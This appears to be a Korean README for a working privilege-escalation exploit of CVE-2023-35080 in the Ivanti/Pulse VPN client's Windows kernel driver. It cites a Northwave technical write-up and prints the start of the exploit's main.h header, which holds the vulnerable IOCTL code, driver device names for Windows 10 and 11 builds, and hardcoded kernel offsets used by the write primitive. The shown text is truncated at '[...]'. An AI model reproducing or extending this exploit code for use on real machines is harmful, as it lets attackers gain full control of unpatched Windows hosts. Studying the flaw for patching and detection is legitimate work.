
CVE-2023-35080에 대한 취약점으로, Windows의 Ivanti/Pulse VPN 클라이언트 커널 드라이버에서 쓰기 프리미티브를 활용하여 권한 상승을 달성합니다.
CVE-2023-35080 권한 상승CVE-2023-35080을 이용한 코드로, Windows의 Ivanti/Pulse VPN 클라이언트 커널 드라이버의 쓰기 원시(write primitive)를 활용합니다. 이 쓰기 원시는 권한 상승으로 이어집니다.
해당 익스플로잇은 다음 글에서 공유된 기술적 세부 사항을 참고하여 제작되었습니다: https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation.
일부 세부 사항은 main.h 파일에 하드코딩되어 있습니다:
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <winternl.h>
#define VULN_IOCTL 0x80002018
////////
/*
* jnprTdi_9115_15819 W10
*/
// #define DEVICE_NAME_W L"jnprTdi_9115_15819"
// // KxWaitForSpinLockAndAcquire
// #define SPIN_OFFSET 0x300ea0
// // KxTryToAcquireSpinLock
// #define TRY_SPIN_OFFSET 0x361758
// // void write_char(byte param_1,byte **param_2,int *param_3)
// #define WRITE_CHAR_OFFSET 0x3d5878
////////
/*
* jnprTdi_9117_18209 W11
*/
#define DEVICE_NAME_W L"jnprTdi_9117_18209"
// KxWaitForSpinLockAndAcquire
#define SPIN_OFFSET 0x300e9e
// KxTryToAcquireSpinLock
#define TRY_SPIN_OFFSET 0x361757
// void write_char(byte param_1,byte **param_2,int *param_3)
#define WRITE_CHAR_OFFSET 0x3d93f8
////////
[...]